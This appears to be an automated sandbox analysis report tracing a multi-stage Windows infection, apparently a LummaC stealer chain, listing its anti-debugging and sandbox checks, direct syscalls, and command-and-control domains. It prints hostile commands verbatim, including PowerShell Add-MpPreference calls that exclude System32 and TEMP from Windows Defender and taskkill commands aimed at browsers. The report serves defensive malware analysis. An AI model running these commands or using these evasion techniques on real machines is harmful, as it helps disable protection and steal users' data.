Source: RYM16770HTK1NZSZ1PW5P28.exe, 00000003.00000002.2410960607.000000000094F000.00000040.00000001.01000000.00000006.sdmp, 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe, 00000004.00000002.2324872773.00000000010C1000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.2351945580.0000000000B61000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmp, b6ea789a1a.exe, 00000016.00000002.3153386887.0000000000DA2000.00000040.00000001.01000000.00000011.sdmp, fc0b992f89.exe, 00000017.00000002.3156958322.0000000001118000.00000040.00000001.01000000.00000012.sdmp, b6ea789a1a.exe, 00000018.00000002.3307072522.0000000000DA2000.00000040.00000001.01000000.00000011.sdmp, fc0b992f89.exe, 00000029.00000002.3307338987.0000000001118000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe

Code function: 3_2_0094504A rdtsc

3_2_0094504A

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe

Code function: 3_2_007BB9D1 LdrInitializeThunk,

3_2_007BB9D1

Source: C:\Windows\System32\svchost.exe

Code function: 18_2_00007FF8B7E65B9C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

18_2_00007FF8B7E65B9C

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_009B652B mov eax, dword ptr fs:[00000030h]		7_2_009B652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_009BA302 mov eax, dword ptr fs:[00000030h]		7_2_009BA302

Source: C:\Windows\System32\svchost.exe

Code function: 18_2_00007FF8B7E528C0 SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,VirtualFree,SetLastError,VirtualFree,VirtualFree,VirtualFree,SetLastError,VirtualAlloc,SetLastError,SetLastError,

18_2_00007FF8B7E528C0

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E5A89C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00007FF8B7E5A89C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E65B9C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00007FF8B7E65B9C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E5AB50 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00007FF8B7E5AB50
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018001C108 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_000000018001C108
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180010B6C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_0000000180010B6C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180010E20 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_0000000180010E20

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\svchost.exe

File created: ThreadRestartTerminal.dll.9.dr

Jump to dropped file

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: fc0b992f89.exe PID: 5628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fc0b992f89.exe PID: 5736, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtMapViewOfSection: Direct from: 0x7FF73A78958A
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtProtectVirtualMemory: Direct from: 0x7FF73A9DD975
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtProtectVirtualMemory: Indirect: 0x7FF73A757FD4
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtOpenFile: Direct from: 0x7FF73A80BF20
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtUnmapViewOfSection: Direct from: 0x7FF73A7ACE80
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtProtectVirtualMemory: Direct from: 0x7FF73AA68978
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtProtectVirtualMemory: Direct from: 0x7FF73A7A6A48
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtProtectVirtualMemory: Direct from: 0x7FF73AA234AF
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtProtectVirtualMemory: Direct from: 0x7FF73A807828
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtProtectVirtualMemory: Direct from: 0x7FF73A7AB053
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtProtectVirtualMemory: Direct from: 0x7FF73A7953C2
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	NtProtectVirtualMemory: Direct from: 0x7FF73A7B1678

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2042513550.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2042513550.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2042513550.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2042513550.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2042513550.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2042513550.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2042513550.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2042513550.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Windows\System32\svchost.exe

Code function: InitializeCriticalSection,CreateThread,CreateThread,GlobalMemoryStatusEx,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,GetSystemPowerStatus,GetSystemPowerStatus,GetPwrCapabilities,EnterCriticalSection,LeaveCriticalSection,Sleep,Sleep,SleepEx,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,GlobalMemoryStatusEx,EnterCriticalSection,LeaveCriticalSection,GlobalMemoryStatusEx,EnterCriticalSection,LeaveCriticalSection,SleepEx, SystemExplorer.exe

18_2_000000018000AAC0

Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe "C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe "C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe "C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe "C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe "C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"

Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 9fee9e49cf.exe, 00000019.00000002.3266135687.0000000000642000.00000002.00000001.01000000.00000013.sdmp, random[1].exe1.7.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: i"Program Manager
Source: RYM16770HTK1NZSZ1PW5P28.exe, RYM16770HTK1NZSZ1PW5P28.exe, 00000003.00000002.2411167138.0000000000996000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: rProgram Manager
Source: firefox.exe, 00000026.00000002.3310329352.000000B3B73FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi
Source: b6ea789a1a.exe, 00000016.00000002.3153660217.0000000000DE6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: UProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_0099D3E2 cpuid

7_2_0099D3E2

Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	18_2_00007FF8B7E77894
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	18_2_00007FF8B7E6DFEC
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	18_2_00007FF8B7E777C4
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	18_2_00007FF8B7E77EB0
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,	18_2_00007FF8B7E77D7C
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	18_2_00007FF8B7E77CCC
Source: C:\Windows\System32\svchost.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	18_2_00007FF8B7E77468
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,	18_2_00007FF8B7E6E380
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,	18_2_00007FF8B7E77B74
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	18_2_00007FF8B7E7792C
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	18_2_000000018002E838
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	18_2_000000018002E8D0
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,	18_2_000000018002EB18
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,	18_2_0000000180024B30
Source: C:\Windows\System32\svchost.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	18_2_000000018002E40C
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	18_2_000000018002EC70
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,	18_2_000000018002ED20
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	18_2_000000018002EE54
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	18_2_000000018002E768
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	18_2_000000018002479C

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002758001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002758001\num.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
